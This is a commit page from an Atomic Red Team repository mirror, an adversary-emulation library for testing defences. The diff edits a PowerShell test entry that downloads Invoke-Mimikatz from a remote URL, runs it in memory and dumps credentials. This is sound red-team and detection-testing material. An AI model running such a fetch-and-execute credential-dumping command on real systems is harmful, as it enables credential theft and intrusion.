security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Technique Adds

Browse Source 
Private Keys
- Find them

DDE
- Reference: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Data Staged
This commit is contained in:
Michael Haag
2018-03-08 14:26:18 -06:00
parent a6134b19c0
commit 8ba1dc8a19
5 changed files with 48 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Windows/Execution/PowerShell.md
+1 -1
View File
@@ -4,7 +4,7 @@ MITRE ATT&CK Technique: [T1086](https://attack.mitre.org/wiki/Technique/T1086)
### Download Mimikatz and Dump credentials
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
### Download and Execute BloodHound